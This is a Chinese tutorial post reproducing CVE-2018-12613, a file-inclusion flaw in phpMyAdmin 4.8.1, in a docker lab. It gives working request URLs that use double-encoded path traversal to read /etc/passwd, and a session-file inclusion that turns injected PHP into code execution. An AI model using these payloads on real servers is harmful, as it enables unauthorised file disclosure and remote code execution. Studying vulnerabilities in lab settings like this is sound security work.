PHP教程

CVE-2018-12613 phpmyadmin 4.8.1 远程文件包含漏洞

本文主要是介绍CVE-2018-12613 phpmyadmin 4.8.1 远程文件包含漏洞,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

漏洞简介

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

漏洞环境

执行如下命令,启动phpmyadmin 4.8.1:

docker-compose up -d

环境启动后,访问http://your-ip:8080,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。

漏洞复现

访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取,说明文件包含漏洞存在:

http://127.0.0.1:8080/index.php?target=db_sql.php?/../../../../../../../../../etc/passwd

在这里插入图片描述

看一下数据库位置

show global variables like "%datadir%"

在这里插入图片描述/var/lib/mysql/

利用方式也比较简单,可以执行一下SELECT '<?=phpinfo()?>';,然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可:

在这里插入图片描述
拼接url

http://127.0.0.1:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_fdf008286ccba0c295db95dded641120

在这里插入图片描述

这篇关于CVE-2018-12613 phpmyadmin 4.8.1 远程文件包含漏洞的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!